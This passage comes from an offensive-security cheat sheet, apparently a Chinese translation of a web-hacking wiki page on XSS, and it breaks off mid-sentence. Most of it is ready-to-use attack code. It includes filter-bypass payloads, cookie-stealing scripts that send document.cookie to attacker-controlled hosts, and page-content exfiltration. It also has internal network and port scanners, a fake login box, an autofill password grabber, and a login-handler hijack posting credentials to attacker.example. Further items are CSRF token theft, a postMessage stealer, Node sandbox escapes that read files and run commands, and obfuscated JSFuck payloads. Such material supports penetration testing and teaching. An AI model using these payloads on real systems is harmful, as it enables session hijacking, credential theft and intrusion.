在该页面你会找到关于 what DOM vulnerabilities are、how are they provoked、and how to exploit them 的详细解释。
另外,别忘了在上文末尾可以找到关于 DOM Clobbering attacks 的说明。
升级 Self-XSS
Cookie XSS
If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a vulnerable subdomain to XSS, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:
You can find a great abuse of this technique in this blog post.
Sending your session to the admin
也许用户可以将他的配置文件分享给管理员,如果 self XSS 存在于该用户的个人资料中且管理员访问了该资料,就会触发该漏洞。
Session Mirroring
If you find some self XSS and the web page have a session mirroring for administrators, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session.
You could make the administrator trigger your self XSS and steal his cookies/session.
Other Bypasses
Bypassing sanitization via WASM linear-memory template overwrite
当 web 应用使用 Emscripten/WASM 时,常量字符串(例如 HTML 格式的模板)存放在可写的 linear memory 中。一次 in‑WASM 的溢出(例如编辑路径中未检查的 memcpy)可以破坏相邻结构并将写入重定向到这些常量。将模板如 “” 会把被 sanitize 过的输入变为 JavaScript handler 值,从而在渲染时立即造成 DOM XSS。
查看专门页面以了解利用工作流、DevTools 内存辅助工具和防御措施:
Wasm Linear Memory Template Overwrite Xss
Normalised Unicode
You could check is the reflected values are being unicode normalized in the server (or in the client side) and abuse this functionality to bypass protections. Find an example here.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
由于 RoR mass assignment,引号会被插入到 HTML 中,从而绕过引号限制,可以在标签内部添加额外字段(onfocus)。
表单示例 (from this report),如果你发送以下 payload:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
键值对 “Key”,“Value” 将被回显如下:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
然后,onfocus 属性将被插入并发生 XSS。
特殊组合
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
在 302 响应中通过头注入实现 XSS
如果你发现你可以 inject headers in a 302 Redirect response,你可以尝试 make the browser execute arbitrary JavaScript。这并不是 not trivial,因为现代浏览器在 HTTP response 状态码为 302 时不会解析 HTTP response body,所以单纯的跨站脚本有效载荷是无用的。
在 this report 和 this one 中,你可以看到如何在 Location header 中测试多个协议,并查看是否有任何协议允许浏览器检查并执行 body 中的 XSS payload。
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.
仅限字母、数字和点
如果你能够指定将由 javascript 要 execute 的 callback,且该 callback 限制为这些字符,阅读该帖的本节 来了解如何滥用此行为。
有效的 <script> Content-Types 用于 XSS
(From here) If you try to load a script with a content-type such as application/octet-stream, Chrome will throw following error:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
The only Content-Types that will support Chrome to run a loaded script are the ones inside the const kSupportedJavascriptTypes from https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Script 类型(用于 XSS)
(From here) 那么,可以用来加载脚本的类型有哪些?
<script type="???"></script>
答案是:
- module (默认,无需解释)
- webbundle: Web Bundles 是一项功能,你可以将一堆数据(HTML、CSS、JS…)打包到一个
.wbn文件中。
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: 允许改进 import 语法
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
该行为被用于 this writeup 来将一个库重映射到 eval,滥用后可以触发 XSS。
- speculationrules: 该功能主要为了解决由预渲染引起的一些问题。它的工作方式如下:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
网页 Content-Types 导致 XSS
(From here) 以下 Content-Types 可以在所有浏览器中执行 XSS:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? 不在列表中,但我记得在一次 CTF 中见过)
- application/rss+xml (off)
- application/atom+xml (off)
在其他浏览器中,其他 Content-Types 也可以用来执行任意 JS,详见: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml 内容类型
如果页面返回 text/xml content-type,可以指定一个命名空间并执行任意 JS:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
特殊替换模式
当像 "some {{template}} data".replace("{{template}}", <user_input>) 这样的用法出现时,攻击者可能会使用 special string replacements 来尝试绕过某些防护: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
例如在 this writeup,这被用于在脚本内部转义 JSON 字符串并执行任意代码。
Chrome Cache to XSS
XS Jails Escape
如果你只能使用有限的字符集,请查看这些针对 XSJail 问题的其他有效解决方案:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
如果在执行不受信任的代码之前 everything is undefined(例如在 this writeup),就有可能“凭空”生成有用的对象,从而滥用任意不受信任代码的执行:
- 使用 import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
- 间接访问
require
According to this 模块被 Node.js 包裹在一个函数中,如下:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
因此,如果我们可以从该模块调用另一个函数,就可以在该函数中使用 arguments.callee.caller.arguments[1] 来访问 require:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
与前面的例子类似,可以通过 use error handlers 访问模块的 wrapper 并获取 require 函数:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
混淆与高级绕过
- 同一页面的不同混淆: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- 更复杂的 JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
XSS 常见 payloads
多个 payloads 合并为 1
Iframe Trap
使用户在页面中在不退出 iframe 的情况下导航,并窃取其操作(包括表单提交的信息):
获取 Cookies
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
Tip
如果 cookie 设置了 HTTPOnly 标志,你 将无法从 JavaScript 访问 cookies。但如果你足够幸运,这里有 一些方法可以绕过此保护。
窃取页面内容
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
查找内网 IPs
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
端口扫描器 (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
短时间表示端口有响应 较长时间表示无响应.
查看 Chrome 中被禁止的端口列表 here 和 Firefox 中的列表 here。
请求凭据的框
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
自动填充密码捕获
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
当在 password field 中输入任何数据时,username 和 password 会被发送到攻击者的服务器;即使客户端选择了 saved password 而没有手动输入,credentials 也会被 ex-filtrated。
Hijack form handlers to exfiltrate credentials (const shadowing)
如果一个关键 handler(例如 function DoLogin(){...})在页面后面声明,而你的 payload 早些运行(例如通过 inline JS-in-JS sink),那么先用相同名字定义一个 const 来抢占并锁定该 handler。后续的 function 声明无法重新绑定一个 const 名称,这样你的 hook 就能保持控制:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
注意事项
- 这依赖于执行顺序:你的注入必须在合法声明之前执行。
- 如果你的 payload 被
eval(...)包裹,const/let绑定不会成为全局变量。使用动态的<script>注入技术(参见 “Deliverable payloads with eval(atob()) and scope nuances” 一节)以确保真正的全局、不可重新绑定的绑定。 - 当关键字过滤阻止代码时,结合使用 Unicode 转义标识符或
eval(atob('...'))传递方式,如上所示。
Keylogger
在 github 上随便搜了下,我找到几个不同的项目:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- 你也可以使用 metasploit
http_javascript_keylogger
Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
窃取 PostMessage 消息
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
PostMessage-origin 脚本加载器 (opener-gated)
如果页面 将 event.origin 从 postMessage 存储起来并随后将其拼接到脚本 URL 中,发送者控制已加载 JS 的 origin:
window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});
利用手法(来自 CAPIG):
- 门控:仅在
window.opener存在且pixel_id在允许列表中时触发;从不检查 origin。 - 使用 CSP-allowed origin:转向一个已被受害者 CSP 允许的域(例如,允许分析的未登录帮助页面,如
*.THIRD-PARTY.com),并通过 takeover/XSS/upload 在该域托管/sdk/<pixel_id>/iwl.js。 - 恢复
opener:在 Android WebView 中,window.name='x'; window.open(target,'x')使页面成为其自己的 opener;从被劫持的 iframe 发送恶意的postMessage。 - 触发:iframe 发布
